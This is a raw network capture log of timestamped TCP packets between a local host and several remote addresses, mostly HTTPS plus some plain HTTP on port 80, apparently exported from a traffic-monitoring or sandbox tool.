Nov 18, 2024 21:04:18.266522884 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.266546011 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.266871929 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.266880989 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.306689024 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.307012081 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.307027102 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.307436943 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.307440996 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.327953100 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.328336954 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.328409910 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.328725100 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.328737974 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.399096012 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.399168968 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.399256945 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.399420023 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.399431944 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.399441957 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.399446964 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.400883913 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.401937008 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.402013063 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.402323008 CET	49840	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.402385950 CET	443	49840	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.402456999 CET	49840	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.405455112 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.405455112 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.405484915 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.405510902 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.406699896 CET	49840	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.406733990 CET	443	49840	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.408202887 CET	49841	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.408231974 CET	443	49841	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.408277988 CET	49841	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.408488035 CET	49841	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.408500910 CET	443	49841	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.438422918 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.438498974 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.438544035 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.440685034 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.440691948 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.440701962 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.440706015 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.445353031 CET	49842	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.445404053 CET	443	49842	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.445472002 CET	49842	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.445616007 CET	49842	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.445647955 CET	443	49842	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.464231014 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.464301109 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.464380026 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.464404106 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.464464903 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.467305899 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.467305899 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.467345953 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.467374086 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.483427048 CET	49843	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.483467102 CET	443	49843	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.483520985 CET	49843	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.483660936 CET	49843	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.483675003 CET	443	49843	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.526953936 CET	443	49833	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:18.527268887 CET	49833	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:18.660476923 CET	49844	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:18.660525084 CET	443	49844	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:18.660660028 CET	49844	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:18.660947084 CET	49844	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:18.660965919 CET	443	49844	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:18.832904100 CET	443	49839	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.839315891 CET	49839	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.839379072 CET	443	49839	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.839875937 CET	49839	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.839890957 CET	443	49839	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:19.149813890 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:19.424669981 CET	49811	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:19.425071001 CET	49846	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:19.736861944 CET	49811	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:19.991647959 CET	443	49839	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:19.991683960 CET	443	49839	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:19.991738081 CET	443	49839	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:19.991749048 CET	49839	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:19.991815090 CET	49839	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:19.992162943 CET	49839	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:19.992203951 CET	443	49839	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:19.992230892 CET	49839	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:19.992245913 CET	443	49839	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:19.995467901 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:19.995492935 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:19.995548010 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:19.995860100 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:19.995872974 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:19.998007059 CET	443	49844	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:19.998080969 CET	49844	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:19.999500036 CET	49844	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:19.999530077 CET	443	49844	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:19.999792099 CET	443	49844	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:20.001256943 CET	49844	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:20.001408100 CET	49844	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:20.001452923 CET	443	49844	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:20.005017996 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:20.005033016 CET	80	49846	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:20.005045891 CET	80	49811	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:20.005059958 CET	80	49811	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:20.005085945 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:20.005120039 CET	49811	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:20.005136013 CET	49846	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:20.005315065 CET	49846	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:20.005424976 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:20.012048006 CET	80	49846	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:20.012062073 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:20.134393930 CET	443	49841	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.134912014 CET	49841	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.134933949 CET	443	49841	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.135356903 CET	49841	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.135363102 CET	443	49841	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.136533976 CET	443	49842	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.136935949 CET	49842	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.136967897 CET	443	49842	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.137165070 CET	49842	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.137172937 CET	443	49842	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.137480021 CET	443	49843	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.137511015 CET	443	49840	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.137845993 CET	49840	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.137861967 CET	443	49840	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.137900114 CET	49843	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.137916088 CET	443	49843	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.138310909 CET	49843	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.138315916 CET	443	49843	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.138421059 CET	49840	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.138432980 CET	443	49840	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.268600941 CET	443	49841	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.268652916 CET	443	49841	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.268701077 CET	49841	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.268908978 CET	49841	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.268925905 CET	443	49841	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.268934965 CET	49841	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.268939972 CET	443	49841	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.269195080 CET	443	49843	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.269258022 CET	443	49843	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.269299030 CET	49843	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.269308090 CET	443	49843	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.269381046 CET	443	49843	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.269411087 CET	49843	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.269428968 CET	443	49843	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.269455910 CET	49843	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.269455910 CET	49843	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.269459963 CET	443	49843	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.269465923 CET	443	49843	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.271867037 CET	443	49842	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.272016048 CET	443	49842	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.272156000 CET	49842	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.272176981 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.272224903 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.272269964 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.272296906 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.272325993 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.272360086 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.272456884 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.272473097 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.272555113 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.272573948 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.272603035 CET	49842	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.272603989 CET	49842	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.272650003 CET	443	49842	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.272680998 CET	443	49842	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.274465084 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.274477005 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.274537086 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.274693966 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.274708033 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.279827118 CET	443	49840	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.280019999 CET	443	49840	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.280083895 CET	49840	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.280117989 CET	49840	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.280133963 CET	443	49840	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.280158997 CET	49840	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.280173063 CET	443	49840	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.282166004 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.282185078 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.282254934 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.282362938 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.282376051 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.723213911 CET	443	49844	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:20.723321915 CET	443	49844	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:20.723512888 CET	49844	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:20.723602057 CET	49844	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:20.723644018 CET	443	49844	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:20.748183012 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.748620987 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.748637915 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.749140978 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.749145985 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.881588936 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.881750107 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.881843090 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.887881994 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.887888908 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.887897015 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.887901068 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.890928984 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.890969038 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.891043901 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.891239882 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:20.891271114 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:20.912208080 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:20.912508011 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:20.914772987 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:20.919713020 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:20.919990063 CET	80	49846	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:20.920105934 CET	49846	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:20.922596931 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:20.922911882 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:20.927855015 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:20.927963972 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:20.928028107 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:20.928066015 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:20.928219080 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:20.933180094 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.015628099 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.016061068 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.020852089 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.020880938 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.021327972 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.021336079 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.021764994 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.021790028 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.022239923 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.022245884 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.023547888 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.023864031 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.023910999 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.024000883 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.024260998 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.024271965 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.024415970 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.024421930 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.024877071 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.024883032 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.099142075 CET	49854	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:21.099226952 CET	443	49854	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:21.099374056 CET	49854	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:21.099742889 CET	49854	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:21.099777937 CET	443	49854	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:21.148401022 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.148480892 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.148597956 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.148714066 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.148734093 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.150966883 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.151407957 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.151523113 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.151546955 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.151586056 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.151725054 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.151983023 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.151992083 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.152024031 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.152030945 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.152332067 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.152343035 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.153923988 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.153996944 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.154063940 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.154088974 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.154119968 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.154171944 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.154247999 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.154268026 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.154279947 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.154285908 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.154409885 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.154917955 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.154972076 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.155065060 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.155071974 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.155082941 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.155087948 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.163846016 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.163856983 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.164304018 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.165827990 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.165879011 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.165951014 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.166054010 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.166074038 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.168473959 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.168486118 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.168896914 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.168905973 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.168991089 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.169059992 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.169064999 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.207273960 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:21.207355022 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:21.208314896 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:21.213442087 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:21.486084938 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:21.486201048 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:21.486310005 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:21.493566990 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:21.498435974 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:21.635373116 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.635916948 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.635981083 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.636379004 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.636392117 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.749589920 CET	443	49854	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:21.749655962 CET	49854	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:21.751130104 CET	49854	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:21.751161098 CET	443	49854	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:21.751535892 CET	443	49854	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:21.753138065 CET	49854	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:21.753304958 CET	49854	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:21.753354073 CET	443	49854	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:21.753515005 CET	49854	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:21.753531933 CET	443	49854	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:21.764808893 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.764873981 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.765002966 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.765060902 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.765949011 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.765949011 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.765974998 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.765997887 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.768927097 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.768966913 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.769047976 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.770467043 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.770497084 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.771116972 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:21.771240950 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:21.771244049 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:21.771250010 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:21.771291971 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:21.771471977 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:21.771487951 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:21.771502018 CET	80	49845	185.215.113.206	192.168.2.4
